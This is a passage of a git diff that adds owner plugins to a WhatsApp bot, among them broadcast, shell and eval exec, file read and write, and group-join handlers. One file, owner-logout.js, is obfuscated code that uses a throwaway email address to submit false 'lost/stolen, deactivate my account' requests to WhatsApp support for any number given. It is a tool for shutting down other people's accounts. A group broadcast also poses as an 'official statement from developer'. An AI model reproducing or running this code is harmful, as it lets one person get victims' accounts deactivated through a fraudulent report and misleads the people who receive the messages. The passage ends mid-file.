Object.entries(conn.chats) + .filter(([_, chat]) => chat.isChats) + .map(v => v[0]) + let cc = conn.serializeM(text ? m : m.quoted ? await m.getQuotedObj() : false || m) + let teks = text ? text : cc.text + conn.reply(m.chat, `โœ… BROADCAST done *Total:* ${chats.length} chats`, m) + for (let id of chats) + await conn + .copyNForward( + id, + conn.cMod( + m.chat, + cc, + /bc|broadcast|tx/i.test(teks) + ? teks + : `*BROADCAST โ”ƒ OWNER*\n_____________________\n ${teks} ` + ), + true + ) + .catch(_ => _) + m.reply('โœ… Broadcast to all chats :)') +} +handler.help = ['tx'] +handler.tags = ['owner'] +handler.command = /^(broadcast|bc|tx)$/i +handler.owner = true + +export default handler + +const more = String.fromCharCode(8206) +const readMore = more.repeat(4001) + +const randomID = length => + randomBytes(Math.ceil(length * 0.5)) + .toString('hex') + .slice(0, length) diff --git a/silvaXlab/owner-broadcastgc.js b/silvaXlab/owner-broadcastgc.js new file mode 100644 index 0000000..7960d8e --- /dev/null +++ b/silvaXlab/owner-broadcastgc.js @@ -0,0 +1,40 @@ +let handler = async (m, { conn, isROwner, text }) => { + const delay = time => new Promise(res => setTimeout(res, time)) + let getGroups = await conn.groupFetchAllParticipating() + let groups = Object.entries(getGroups) + .slice(0) + .map(entry => entry[1]) + let anu = groups.map(v => v.id) + var pesan = m.quoted && m.quoted.text ? m.quoted.text : text + if (!pesan) throw '*ENTER THE MESSAGE YOU WANT TO BROADCAST*' + for (let i of anu) { + await delay(500) + conn + .relayMessage( + i, + { + liveLocationMessage: { + degreesLatitude: 35.685506276233525, + degreesLongitude: 139.75270667105852, + accuracyInMeters: 0, + degreesClockwiseFromMagneticNorth: 2, + caption: '[ALERT]\n\n' + pesan + '\n\nTHIS IS AN OFFICIAL STATEMENT FROM DEVELOPER', + sequenceNumber: 2, + timeOffset: 3, + contextInfo: m, + }, + }, + {} + ) + .catch(_ => _) + } + m.reply( + `*MESSAGE SENT TO ${anu.length} GROUP/S*\n\n*NOTE: THIS COMMAND MAY FAIL AND NOT BE SENT TO ALL CHATS, SORRY FOR THE TIME BEING*` + ) +} +handler.help = ['broadcastgroup', 'bcgc'].map(v => v + ' ') +handler.tags = ['owner'] +handler.command = /^(broadcast|bc)(group|grup|gc)$/i +handler.owner = true + +export default handler diff --git a/silvaXlab/owner-clearTmp.js b/silvaXlab/owner-clearTmp.js new file mode 100644 index 0000000..3e39c57 --- /dev/null +++ b/silvaXlab/owner-clearTmp.js @@ -0,0 +1,28 @@ +import { tmpdir } from 'os' +import path, { join } from 'path' +import { readdirSync, unlinkSync, rmSync } from 'fs' + +let handler = async (m, { conn, __dirname, args }) => { + m.reply(`โœ… The folder was cleaned *tmp + session*`) + m.react(done) + const tmp = [tmpdir(), join(__dirname, '../tmp')] + const filename = [] + tmp.forEach(dirname => readdirSync(dirname).forEach(file => filename.push(join(dirname, file)))) + + //session bot + readdirSync('./session').forEach(file => { + if (file !== 'creds.json') { + unlinkSync('./session/' + file, { recursive: true, force: true }) + } + }) + + return filename.map(file => { + unlinkSync(file) + }) +} +handler.help = ['cleartmp'] +handler.tags = ['owner'] +handler.command = /^(cleartmp)$/i +handler.rowner = true + +export default handler diff --git a/silvaXlab/owner-delexpired.js b/silvaXlab/owner-delexpired.js new file mode 100644 index 0000000..bb5ce5b --- /dev/null +++ b/silvaXlab/owner-delexpired.js @@ -0,0 +1,17 @@ +let handler = async (m, { conn, args, usedPrefix, command }) => { + let who + if (m.isGroup) who = args[1] ? args[1] : m.chat + else who = args[1] + + if (new Date() * 1 < global.db.data.chats[who].expired) global.db.data.chats[who].expired = false + else global.db.data.chats[who].expired = false + + m.reply(`โœ… Removed expiration days for this group`) +} +handler.help = ['delexpired'] +handler.tags = ['owner'] +handler.command = /^(delexpired)$/i +handler.rowner = true +handler.group = true + +export default handler diff --git a/silvaXlab/owner-exec.js b/silvaXlab/owner-exec.js new file mode 100644 index 0000000..57e4875 --- /dev/null +++ b/silvaXlab/owner-exec.js @@ -0,0 +1,82 @@ +import syntaxerror from 'syntax-error' +import { format } from 'util' +import { fileURLToPath } from 'url' +import { dirname } from 'path' +import { createRequire } from 'module' + +const __dirname = dirname(fileURLToPath(import.meta.url)) +const require = createRequire(__dirname) +const baileys = require('@shizodevs/shizoweb') + +let handler = async (m, _2) => { + let { conn, usedPrefix, noPrefix, args, groupMetadata } = _2 + let _return + let _syntax = '' + let _text = (/^=/.test(usedPrefix) ? 'return ' : '') + noPrefix + let old = m.exp * 1 + try { + let i = 15 + let f = { + exports: {}, + } + let exec = new (async () => {}).constructor( + 'print', + 'm', + 'handler', + 'require', + 'conn', + 'Array', + 'process', + 'args', + 'groupMetadata', + 'baileys', + 'module', + 'exports', + 'argument', + _text + ) + _return = await exec.call( + conn, + (...args) => { + if (--i < 1) return + console.log(...args) + return conn.reply(m.chat, format(...args), m) + }, + m, + handler, + require, + conn, + CustomArray, + process, + args, + groupMetadata, + baileys, + f, + f.exports, + [conn, _2] + ) + } catch (e) { + let err = syntaxerror(_text, 'Execution Function', { + allowReturnOutsideFunction: true, + allowAwaitOutsideFunction: true, + sourceType: 'module', + }) + if (err) _syntax = '```' + err + '```\n\n' + _return = e + } finally { + conn.reply(m.chat, _syntax + format(_return), m) + m.exp = old + } +} +handler.customPrefix = /^=?> / +handler.command = new RegExp() +handler.rowner = true + +export default handler + +class CustomArray extends Array { + constructor(...args) { + if (typeof args[0] == 'number') return super(Math.min(args[0], 10000)) + else return super(...args) + } +} diff --git a/silvaXlab/owner-exec2.js b/silvaXlab/owner-exec2.js new file mode 100644 index 0000000..aaecae2 --- /dev/null +++ b/silvaXlab/owner-exec2.js @@ -0,0 +1,23 @@ +import cp, { exec as _exec } from 'child_process' +import { promisify } from 'util' +let exec = promisify(_exec).bind(cp) +let handler = async (m, { conn, isOwner, command, text }) => { + if (conn.user.jid != conn.user.jid) return + m.reply('โœ… CHASING...') + let o + try { + o = await exec(command.trimStart() + ' ' + text.trimEnd()) + } catch (e) { + o = e + } finally { + let { stdout, stderr } = o + if (stdout.trim()) m.reply(stdout) + if (stderr.trim()) m.reply(stderr) + } +} +handler.help = ['$'] +handler.tags = ['advanced'] +handler.customPrefix = /^[$] / +handler.command = new RegExp() +handler.rowner = true +export default handler diff --git a/silvaXlab/owner-getfile.js b/silvaXlab/owner-getfile.js new file mode 100644 index 0000000..c09b161 --- /dev/null +++ b/silvaXlab/owner-getfile.js @@ -0,0 +1,68 @@ +import fs from 'fs' +import syntaxError from 'syntax-error' +import path from 'path' + +const _fs = fs.promises + +let handler = async (m, { text, usedPrefix, command, __dirname }) => { + if (!text) + throw ` +โœณ๏ธ user : ${usedPrefix + command} + +๐Ÿ“Œ Example: + ${usedPrefix}getfile main.js + ${usedPrefix}getplugin owner +`.trim() + if (/p(lugin)?/i.test(command)) { + const filename = text.replace(/plugin(s)\//i, '') + (/\.js$/i.test(text) ? '' : '.js') + const pathFile = path.join(__dirname, filename) + const file = await _fs.readFile(pathFile, 'utf8') + m.reply(file) + const error = syntaxError(file, filename, { + sourceType: 'module', + allowReturnOutsideFunction: true, + allowAwaitOutsideFunction: true, + }) + if (error) { + await m.reply( + ` +โŽ bug found in *${filename}*: + +${error} + +`.trim() + ) + } + } else { + const isJavascript = /\.js/.test(text) + if (isJavascript) { + const file = await _fs.readFile(text, 'utf8') + m.reply(file) + const error = syntaxError(file, text, { + sourceType: 'module', + allowReturnOutsideFunction: true, + allowAwaitOutsideFunction: true, + }) + if (error) { + await m.reply( + ` +โŽ bug found in *${text}*: + +${error} + +`.trim() + ) + } + } else { + const file = await _fs.readFile(text, 'base64') + await m.reply(Buffer.from(file, 'base64')) + } + } +} +handler.help = ['plugin', 'file'].map(v => `get${v} `) +handler.tags = ['owner'] +handler.command = /^g(et)?(p(lugin)?|f(ile)?)$/i + +handler.rowner = true + +export default handler diff --git a/silvaXlab/owner-inspect.js b/silvaXlab/owner-inspect.js new file mode 100644 index 0000000..7529f8a --- /dev/null +++ b/silvaXlab/owner-inspect.js @@ -0,0 +1,51 @@ +import * as baileys from '@whiskeysockets/baileys' + +let handler = async (m, { conn, text }) => { + let [, code] = text.match(/chat\.whatsapp\.com\/(?:invite\/)?([0-9A-Za-z]{20,24})/i) || [] + if (!code) throw '*[โ—INFOโ—] Please provide a valid group link.*' + + let res = await conn.query({ + tag: 'iq', + attrs: { type: 'get', xmlns: 'w:g2', to: '@g.us' }, + content: [{ tag: 'invite', attrs: { code } }], + }) + let data = extractGroupMetadata(res) + let txt = Object.keys(data) + .map(v => `*${v.capitalize()}:* ${data[v]}`) + .join('\n') + + let pp = await conn.profilePictureUrl(data.id, 'image').catch(console.error) + if (pp) { + return conn.sendMessage(m.chat, { image: { url: pp }, caption: txt }, { quoted: m }) + } else { + let groupinfo = `โ– ID: ${data.id}\nโ– Name: ${data.subject}\nโ– Created on: ${data.creation}\nโ– Owner: ${data.owner}\nโ– Description:\n${data.desc}` + await conn.reply(m.chat, groupinfo, m) + } +} + +handler.command = /^(inspect)$/i + +export default handler + +const extractGroupMetadata = result => { + const group = baileys.getBinaryNodeChild(result, 'group') + const descChild = baileys.getBinaryNodeChild(group, 'description') + let desc + if (descChild) desc = baileys.getBinaryNodeChild(descChild, 'body')?.content + + const metadata = { + id: group.attrs.id.includes('@') ? group.attrs.id : baileys.jidEncode(group.attrs.id, 'g.us'), + subject: group.attrs.subject, + creation: new Date(+group.attrs.creation * 1000).toLocaleString('id', { + timeZone: 'Asia/Jakarta', + }), + owner: group.attrs.creator + ? 'wa.me/' + baileys.jidNormalizedUser(group.attrs.creator).split('@')[0] + : group.attrs.id.includes('-') + ? 'wa.me/' + group.attrs.id.split('-')[0] + : '', + desc, + } + + return metadata +} diff --git a/silvaXlab/owner-join.js b/silvaXlab/owner-join.js new file mode 100644 index 0000000..f90f7e9 --- /dev/null +++ b/silvaXlab/owner-join.js @@ -0,0 +1,115 @@ +//need fix +let handler = async (m, { conn, text, usedPrefix, command, args, participants, isOwner }) => { + if (!isOwner) + return conn.sendMessage( + m.chat, + { + text: `*Invite bot to a group*\n\nHello @${m.sender.split('@')[0]}\nyou can rent the bot to join a group\n\n_For more info you can DM the owner_\n*Type* \`\`\`.owner\`\`\` *to DM the owner*`.trim(), + }, + { quoted: m } + ) + /*if (!isOwner) return conn.sendButton(m.chat, `*Invite bot to a group*\n\nHello @${m.sender.split('@')[0]}\nyou can rent the bot to join a group\n\n_more info click on the button_`.trim(), igfg, null, [ + ['Alquilar', `${usedPrefix}buyprem`]] , m, { mentions: [m.sender] })*/ + + let time = global.db.data.users[m.sender].lastjoin + 86400000 + let linkRegex = /chat.whatsapp.com\/([0-9A-Za-z]{20,24})/i + let delay = time => new Promise(res => setTimeout(res, time)) + + let name = m.sender + let [_, code] = text.match(linkRegex) || [] + if (!args[0]) + throw `โœณ๏ธ Send the group link\n\n ๐Ÿ“Œ Example:\n *${usedPrefix + command}* \n\n_the number is the days the bot will be in the group_` + if (!code) throw `โœณ๏ธ Link invalid` + if (!args[1]) + throw `๐Ÿ“Œ Missing number of days\n\n Example:\n *${usedPrefix + command}* 2` + if (isNaN(args[1])) throw `โœณ๏ธ Number only, representing the days the bot will be in the group!` + let owbot = global.owner[1] + m.reply(`๐Ÿ˜Ž Wait 3 seconds, I will join the group`) + await delay(3000) + try { + let res = await conn.groupAcceptInvite(code) + let b = await conn.groupMetadata(res) + let d = b.participants.map(v => v.id) + let member = d.toString() + let e = await d.filter(v => v.endsWith(owbot + '@s.whatsapp.net')) + let nDays = 86400000 * args[1] + let now = new Date() * 1 + if (now < global.db.data.chats[res].expired) global.db.data.chats[res].expired += nDays + else global.db.data.chats[res].expired = now + nDays + if (e.length) + await m.reply( + `โœ… I successfully joined the group \n\nโ‰ก group info \n\n *Name :* ${await conn.getName(res)}\n\nThe bot will exit automatically after \n\n${msToDate(global.db.data.chats[res].expired - now)}` + ) + + if (e.length) + await conn + .reply( + res, + `๐Ÿฎ hello guys + +@${owbot} he is my creator if you have any doubt +I was invited by *${m.name}*`, + m, + { + mentions: d, + } + ) + .then(async () => { + await delay(7000) + }) + .then(async () => { + await conn.reply(res, `ok everyone relax ๐Ÿคญ`, 0) + await conn.reply( + global.owner[1] + '@s.whatsapp.net', + `โ‰ก *GROUP INVITATION*\n\n@${m.sender.split('@')[0]} ha invitado a *${conn.user.name}* al grupo\n\n*${await conn.getName(res)}*\n\n*ID* : ${res}\n\n๐Ÿ“Œ Link : ${args[0]}\n\nThe bot will exit automatically after \n\n${msToDate(global.db.data.chats[res].expired - now)}`, + null, + { mentions: [m.sender] } + ) + }) + if (!e.length) + await conn.reply( + global.owner[1] + '@s.whatsapp.net', + `โ‰ก *INVITACIร“N A GRUPO*\n\n@${m.sender.split('@')[0]} has invited *${conn.user.name}* to group\n\n*${await conn.getName(res)}*\n\n*ID* : ${res}\n\n๐Ÿ“Œ link : ${args[0]}\n\nThe bot will exit automatically after\n\n ${msToDate(global.db.data.chats[res].expired - now)}`, + null, + { mentions: [m.sender] } + ) + if (!e.length) + await m + .reply( + `โœณ๏ธ Successfully invite bot to group\n\n${await conn.getName(res)}\n\nThe bot will exit automatically after *${msToDate(global.db.data.chats[res].expired - now)}*` + ) + .then(async () => { + let mes = `Hii ๐Ÿ‘‹๐Ÿป + +*${conn.user.name}* is one of the multi-device WhatsApp bots built with Node.js, *${conn.user.name}* just invited by *${m.name}* + +to see the menu of the bot write + +${usedPrefix}help +@${conn.user.jid.split('@')[0]} will exit automatically after \n\n${msToDate(global.db.data.chats[res].expired - now)}` + await conn.sendMessage(m.chat, mes, m, { + mentions: d, + }) + }) + } catch (e) { + conn.reply(global.owner[1] + '@s.whatsapp.net', e) + throw `โœณ๏ธ Sorry, the bot joined group` + } +} +handler.help = ['join '] +handler.tags = ['owner'] +handler.command = ['join', 'invite'] + +//handler.owner = true + +export default handler + +function msToDate(ms) { + let d = isNaN(ms) ? '--' : Math.floor(ms / 86400000) + let h = isNaN(ms) ? '--' : Math.floor(ms / 3600000) % 24 + let m = isNaN(ms) ? '--' : Math.floor(ms / 60000) % 60 + let s = isNaN(ms) ? '--' : Math.floor(ms / 1000) % 60 + return [d, ' *Days*\n ', h, ' *Hours*\n ', m, ' *Minutes*\n ', s, ' *Seconds* '] + .map(v => v.toString().padStart(2, 0)) + .join('') +} diff --git a/silvaXlab/owner-logout.js b/silvaXlab/owner-logout.js new file mode 100644 index 0000000..0c455e2 --- /dev/null +++ b/silvaXlab/owner-logout.js @@ -0,0 +1,162 @@ +//GURU + +function _0x4424() { + const _0x232003 = [ + 'your_message', + '##-\x20WhatsApp\x20Support\x20-##\x0a\x0aHii:\x0a\x0aThank\x20you\x20for\x20your\x20message.\x0a\x0aTo\x20proceed\x20with\x20your\x20request,\x20we\x20need\x20you\x20to\x20verify\x20that\x20this\x20phone\x20number\x20belongs\x20to\x20you.\x20Please\x20send\x20us\x20documentation\x20that\x20allows\x20us\x20to\x20verify\x20that\x20the\x20number\x20is\x20your\x20property,\x20such\x20as\x20a\x20copy\x20of\x20the\x20telephone\x20bill\x20or\x20service\x20contract.\x0a\x0a\x20Please\x20make\x20sure\x20to\x20enter\x20your\x20phone\x20number\x20in\x20full\x20international\x20format.\x20For\x20more\x20information\x20on\x20the\x20international\x20format,\x20see\x20this\x20article.\x0a\x0aIf\x20you\x20have\x20any\x20other\x20questions\x20or\x20concerns,\x20please\x20do\x20not\x20hesitate\x20to\x20contact\x20us.\x20We\x20will\x20be\x20happy\x20to\x20help\x20you..', + '##-\x20WhatsApp\x20Support\x20-##\x0a\x0aHi,\x0a\x0aThank\x20you\x20for\x20your\x20message.\x0a\x0aWe\x20have\x20deactivated\x20your\x20WhatsApp\x20account.\x20This\x20means\x20your\x20account\x20is\x20temporarily\x20disabled\x20and\x20will\x20be\x20automatically\x20deleted\x20in\x2030\x20days\x20if\x20you\x20don\x27t\x20re-register\x20the\x20account.\x20Please\x20note:\x20WhatsApp\x20Customer\x20Support\x20cannot\x20delete\x20your\x20account\x20manually.\x20During\x20the\x20lockdown\x20period:\x0a\x0aโ€ข\x20Your\x20contacts\x20on\x20WhatsApp\x20may\x20still\x20see\x20your\x20name\x20and\x20profile\x20picture.\x0a\x0aAny\x20messages\x20your\x20contacts\x20may\x20send\x20to\x20the\x20account\x20will\x20remain\x20in\x20pending\x20status\x20for\x20up\x20to\x2030\x20days.\x0a\x0aIf\x20you\x20wish\x20to\x20recover\x20your\x20account,\x20please\x20re-register\x20your\x20account\x20as\x20soon\x20as\x20possible.Re-register\x20your\x20account\x20by\x20entering\x20the\x206-digit\x20code,\x20the\x20code\x20you\x20receive\x20by\x20SMS\x20or\x20phone\x20call.\x20If\x20you\x20re-register\x20If\x20you\x20have\x20any\x20other\x20questions\x20or\x20concerns,\x20please\x20do\x20not\x20hesitate\x20to\x20contact\x20us.\x20We\x20will\x20be\x20happy\x20to\x20help!', + 'format', + 'https://www.whatsapp.com', + 'dpr', + '91227uCKxLP', + '10DFnPtT', + 'get', + 'form', + 'join', + 'set-cookie', + 'country_selector', + 'platform', + '318282qjDgsc', + 'reply', + '__rev', + '2535995ueGbgy', + '__user', + 'append', + 'ANDROID', + '681044qbjiac', + '19316.BP:whatsapp_www_pkg.2.0.0.0.0', + 'Perdido/roubado:\x20desative\x20minha\x20conta:\x20', + 'find', + 'email_confirm', + '793728oKzxnE', + 'input[name=jazoest]', + 'replace', + 'load', + 'for\x20(;;);', + 'data', + '\x22payload\x22:false', + 'attr', + '1465nBacTn', + '12697119oIhjys', + 'POST', + 'href', + 'input[name=lsd]', + '2224Jsemfm', + '*ENTER\x20THE\x20NUMBER\x20IN\x20INTERNATIONAL\x20FORMAT,\x20EXAMPLE:\x20+๐Ÿท\x20(915)\x20555-555*', + 'submit', + '16CUkiYA', + 'headers', + '1006630858', + '\x22payload\x22:true', + 'parse', + '__ccg', + 'includes', + '__comment_req', + 'email', + 'step', + '__req', + 'https://www.1secmail.com/api/v1/?action=genRandomMailbox&count=10', + 'val', + '__hs', + 'phone_number', + 'command', + ] + _0x4424 = function () { + return _0x232003 + } + return _0x4424() +} +const _0x206d10 = _0x4d0c +;(function (_0x5f191c, _0x2419b6) { + const _0x157ef1 = _0x4d0c, + _0x487b6e = _0x5f191c() + while (!![]) { + try { + const _0x167b64 = + -parseInt(_0x157ef1(0xaa)) / 0x1 + + -parseInt(_0x157ef1(0xb9)) / 0x2 + + parseInt(_0x157ef1(0xb2)) / 0x3 + + (-parseInt(_0x157ef1(0x91)) / 0x4) * (-parseInt(_0x157ef1(0x8c)) / 0x5) + + -parseInt(_0x157ef1(0x84)) / 0x6 + + (parseInt(_0x157ef1(0xb5)) / 0x7) * (-parseInt(_0x157ef1(0x94)) / 0x8) + + (parseInt(_0x157ef1(0x8d)) / 0x9) * (parseInt(_0x157ef1(0xab)) / 0xa) + if (_0x167b64 === _0x2419b6) break + else _0x487b6e['push'](_0x487b6e['shift']()) + } catch (_0x39bee2) { + _0x487b6e['push'](_0x487b6e['shift']()) + } + } +})(_0x4424, 0x5f812) +import _0x105305 from 'cheerio' +import _0x44a3b3 from 'axios' +import _0x45d267 from 'util' +let handler = async ( + _0x4230d6, + { + conn: _0x8a0c7c, + isOwner: _0x1c166d, + usedPrefix: _0x527421, + command: _0x224588, + args: _0x28070a, + } +) => { + const _0x2c1f13 = _0x4d0c, + _0x38ac55 = _0x28070a['join']('\x20') + if (!_0x38ac55 || !_0x28070a[0x0]) throw _0x2c1f13(0x92) + let _0x16a5c7 = await _0x44a3b3[_0x2c1f13(0xac)]('https://www.whatsapp.com/contact/noclient/'), + _0x427b3b = await _0x44a3b3[_0x2c1f13(0xac)](_0x2c1f13(0x9f)), + _0x1d5e3f = _0x16a5c7[_0x2c1f13(0x95)][_0x2c1f13(0xaf)][_0x2c1f13(0xae)](';\x20'), + _0x183702 = _0x105305[_0x2c1f13(0x87)](_0x16a5c7[_0x2c1f13(0x89)]), + _0x59e950 = _0x183702(_0x2c1f13(0xad)), + _0x3b484c = new URL(_0x59e950[_0x2c1f13(0x8b)]('action'), _0x2c1f13(0xa8))[_0x2c1f13(0x8f)], + _0x1fd9e2 = new URLSearchParams() + _0x1fd9e2[_0x2c1f13(0xb7)]('jazoest', _0x59e950['find'](_0x2c1f13(0x85))[_0x2c1f13(0xa0)]()), + _0x1fd9e2[_0x2c1f13(0xb7)]('lsd', _0x59e950[_0x2c1f13(0xbc)](_0x2c1f13(0x90))['val']()), + _0x1fd9e2[_0x2c1f13(0xb7)](_0x2c1f13(0x9d), _0x2c1f13(0x93)), + _0x1fd9e2[_0x2c1f13(0xb7)](_0x2c1f13(0xb0), 'ID'), + _0x1fd9e2[_0x2c1f13(0xb7)](_0x2c1f13(0xa2), _0x38ac55), + _0x1fd9e2[_0x2c1f13(0xb7)](_0x2c1f13(0x9c), _0x427b3b[_0x2c1f13(0x89)][0x0]), + _0x1fd9e2[_0x2c1f13(0xb7)](_0x2c1f13(0x83), _0x427b3b[_0x2c1f13(0x89)][0x0]), + _0x1fd9e2[_0x2c1f13(0xb7)](_0x2c1f13(0xb1), _0x2c1f13(0xb8)), + _0x1fd9e2[_0x2c1f13(0xb7)](_0x2c1f13(0xa4), _0x2c1f13(0xbb) + _0x38ac55), + _0x1fd9e2[_0x2c1f13(0xb7)](_0x2c1f13(0xb6), '0'), + _0x1fd9e2[_0x2c1f13(0xb7)]('__a', '1'), + _0x1fd9e2[_0x2c1f13(0xb7)]('__csr', ''), + _0x1fd9e2[_0x2c1f13(0xb7)](_0x2c1f13(0x9e), '8'), + _0x1fd9e2[_0x2c1f13(0xb7)](_0x2c1f13(0xa1), _0x2c1f13(0xba)), + _0x1fd9e2[_0x2c1f13(0xb7)](_0x2c1f13(0xa9), '1'), + _0x1fd9e2[_0x2c1f13(0xb7)](_0x2c1f13(0x99), 'UNKNOWN'), + _0x1fd9e2[_0x2c1f13(0xb7)](_0x2c1f13(0xb4), _0x2c1f13(0x96)), + _0x1fd9e2[_0x2c1f13(0xb7)](_0x2c1f13(0x9b), '0') + let _0x3415fe = await _0x44a3b3({ + url: _0x3b484c, + method: _0x2c1f13(0x8e), + data: _0x1fd9e2, + headers: { cookie: _0x1d5e3f }, + }) + var _0x5cce88 = String(_0x3415fe[_0x2c1f13(0x89)]) + if (_0x5cce88[_0x2c1f13(0x9a)](_0x2c1f13(0x97))) _0x4230d6[_0x2c1f13(0xb3)](_0x2c1f13(0xa6)) + else { + if (_0x5cce88[_0x2c1f13(0x9a)](_0x2c1f13(0x8a))) _0x4230d6[_0x2c1f13(0xb3)](_0x2c1f13(0xa5)) + else + _0x4230d6[_0x2c1f13(0xb3)]( + _0x45d267[_0x2c1f13(0xa7)]( + JSON[_0x2c1f13(0x98)](_0x3415fe[_0x2c1f13(0x89)][_0x2c1f13(0x86)](_0x2c1f13(0x88), '')) + ) + ) + } +} +;(handler[_0x206d10(0xa3)] = /^(supportwa|swa|logout|support|deactivatewa|mandsupport)$/i), + (handler['owner'] = !![]) +function _0x4d0c(_0x5c832d, _0x2d8c4b) { + const _0x44247a = _0x4424() + return ( + (_0x4d0c = function (_0x4d0cec, _0x1283bf) { + _0x4d0cec = _0x4d0cec - 0x83 + let _0x595331 = _0x44247a[_0x4d0cec] + return _0x595331 + }), + _0x4d0c(_0x5c832d, _0x2d8c4b) + ) +} +export default handler diff --git a/silvaXlab/owner-resetUser.js b/silvaXlab/owner-resetUser.js new file mode 100644 index 0000000..3fa0603 --- /dev/null +++ b/silvaXlab/owner-resetUser.js @@ -0,0 +1,54 @@ +//import db from '../lib/database.js' + +let handler = async (m, { conn, text }) => { + function no(number) { + return number.replace(/\s/g, '').replace(/([@+-])/g, '') + } + + text = no(text) + + if (isNaN(text)) { + var number = text.split`@`[1] + } else if (!isNaN(text)) { + var number = text + } + + if (!text && !m.quoted) + return conn.reply( + `*โUSER RESET*\n\nTag the user, type the number or reply to the message of the user you want to RESET`, + m + ) + //let exists = await conn.isOnWhatsApp(number) + // if (exists) return conn.reply(m.chat, `*The number is not registered in WhatsApp*`, m) + if (isNaN(number)) + return conn.reply(m.chat, `*โ USER RESET*\n\nThe number you entered is invalid`, m) + // if(number.length > 8) return conn.reply(m.chat, `*โ USER RESET*\n\nThe number you entered is invalid!`, m) + try { + if (text) { + var user = number + '@s.whatsapp.net' + } else if (m.quoted.sender) { + var user = m.quoted.sender + } else if (m.mentionedJid) { + var user = number + '@s.whatsapp.net' + } + } catch (e) { + } finally { + let groupMetadata = m.isGroup ? await conn.groupMetadata(m.chat) : {} + let participants = m.isGroup ? groupMetadata.participants : [] + let users = m.isGroup ? participants.find(u => u.jid == user) : {} + let number = user.split('@')[0] + + delete global.global.db.data.users[user] + + conn.reply(m.chat, `*โ USER RESET*\n\nโœ… Rebooted to @${number} from the *DATABASE*`, null, { + mentions: [user], + }) + } +} +handler.help = ['reset <54xxx>'] +handler.tags = ['owner'] +handler.command = ['reset'] +handler.admin = false +handler.rowner = true + +export default handler diff --git a/silvaXlab/owner-resetprefix.js b/silvaXlab/owner-resetprefix.js new file mode 100644 index 0000000..275d719 --- /dev/null +++ b/silvaXlab/owner-resetprefix.js @@ -0,0 +1,17 @@ +let handler = async (m, { conn }) => { + global.prefix = new RegExp( + '^[' + + (opts['prefix'] || 'โ€ŽxzXZ/i!#$%+ยฃยขโ‚ฌยฅ^ยฐ=ยถโˆ†ร—รทฯ€โˆšโœ“ยฉยฎ:;?&.\\-').replace( + /[|\\{}()[\]^$+*?.\-\^]/g, + '\\$&' + ) + + ']' + ) + await m.reply(`PREFIX RESET SUCCESS`) +} +handler.help = ['resetprefix'] +handler.tags = ['owner'] +handler.command = /^(resetprefix)$/i +handler.owner = true + +export default handler diff --git a/silvaXlab/owner-restart.js b/silvaXlab/owner-restart.js new file mode 100644 index 0000000..f659be0 --- /dev/null +++ b/silvaXlab/owner-restart.js @@ -0,0 +1,16 @@ +import { spawn } from 'child_process' +let handler = async (m, { conn, isROwner, text }) => { + if (!process.send) throw 'Dont: node main.js\nDo: node index.js' + if (conn.user.jid == conn.user.jid) { + await m.reply('๐Ÿ”„ Restarting Bot...\n Wait a moment \nAM COMING BACK') + process.send('reset') + } else throw 'eh' +} + +handler.help = ['restart'] +handler.tags = ['owner'] +handler.command = ['restart'] + +handler.rowner = true + +export default handler diff --git a/silvaXlab/owner-savefile.js b/silvaXlab/owner-savefile.js new file mode 100644 index 0000000..fb97adb --- /dev/null +++ b/silvaXlab/owner-savefile.js @@ -0,0 +1,14 @@ +import fs from 'fs' + let handler = async (m, { text, usedPrefix, command }) => { + if (!text) throw `uhm.. where is the text?\n\nUsage:\n${usedPrefix + command} \n\nExample:\n${usedPrefix + command} plugins/xei-sensei.js` + if (!m.quoted.text) throw `reply to the message!` + let path = `${text}` + await fs.writeFileSync(path, m.quoted.text) + m.reply(`stored in ${path}`) + } + handler.help = ['sf'].map(v => v + ' ') + handler.tags = ['owner'] + handler.command = /^sf|savefile|addplugin$/i + + handler.rowner = true + export default handler diff --git a/silvaXlab/owner-setprefix.js b/silvaXlab/owner-setprefix.js new file mode 100644 index 0000000..cdcad12 --- /dev/null +++ b/silvaXlab/owner-setprefix.js @@ -0,0 +1,20 @@ +let handler = async (m, { conn, text }) => { + if (!text) throw `No symbol detected ...` + + // Regular expression to check if the input contains exactly one symbol + const symbolRegex = /^[^\w\s]{1}$/ + + if (!symbolRegex.test(text)) { + throw `Invalid symbol input. Please provide exactly one symbol as a prefix.` + } + + // If the input is valid (contains exactly one symbol), update the prefix + global.prefix = new RegExp('^[' + text.replace(/[|\\{}()[\]^$+*?.\-\^]/g, '\\$&') + ']') + await m.reply(`the prefix has been changed to *${text}*`) +} +handler.help = ['.setprefix ', '.setprefix [symbol]'] +handler.tags = ['owner'] +handler.command = /^(setprefix)$/i +handler.rowner = true + +export default handler diff --git a/silvaXlab/owner-setprivacy.js b/silvaXlab/owner-setprivacy.js new file mode 100644 index 0000000..a2911ae --- /dev/null +++ b/silvaXlab/owner-setprivacy.js @@ -0,0 +1,138 @@ +import pkg from '@shizodevs/shizoweb' +const { WA_DEFAULT_EPHEMERAL } = pkg +const handler = async (m, { conn, args, usedPrefix }) => { + const validValues = { + lastseen: ['all', 'contacts', 'contact_blacklist', 'none'], + online: ['all', 'match_last_seen'], + picture: ['all', 'contacts', 'contact_blacklist', 'none'], + status: ['all', 'contacts', 'contact_blacklist', 'none'], + readreceipts: ['all', 'none'], + groupsadd: ['all', 'contacts', 'contact_blacklist', 'none'], + disappearingmode: [WA_DEFAULT_EPHEMERAL, 0, 86400, 604800, 7776000], + } + + const typeNumber = parseInt(args[0]) + const valueNumber = parseInt(args[1]) + + const typeKeys = Object.keys(validValues) + + const privacyTypes = Object.keys(validValues) + .map((type, index) => `${index + 1}. ${type}`) + .join('\n') + const helpMessage = + `How to use? : ${usedPrefix}setprivacy [type_number] [value_number]\n\n` + + 'List Options:\n' + + privacyTypes + + if (!typeNumber || isNaN(typeNumber) || typeNumber < 1 || typeNumber > typeKeys.length) { + m.reply(helpMessage) + return + } + + const selectedType = typeKeys[typeNumber - 1] + const validTypeValues = validValues[selectedType] + + const validTypeValuesList = validTypeValues + .map((type, index) => `${index + 1}. ${type}`) + .join('\n') + const typeHelpMessage = + `How to use: ${usedPrefix}setprivacy [type_number] [value_number]\n\n` + + 'List Options:\n' + + validTypeValuesList + + if ( + !valueNumber || + isNaN(valueNumber) || + valueNumber < 1 || + valueNumber > validTypeValues.length + ) { + m.reply(typeHelpMessage) + return + } + + const selectedValue = validTypeValues[valueNumber - 1] + + const privacyType = selectedType.charAt(0).toUpperCase() + selectedType.slice(1) + + switch (selectedType) { + case 'lastseen': + await conn + .updateLastSeenPrivacy(selectedValue) + .then(() => { + m.reply(`Privacy ${privacyType} has been changed to 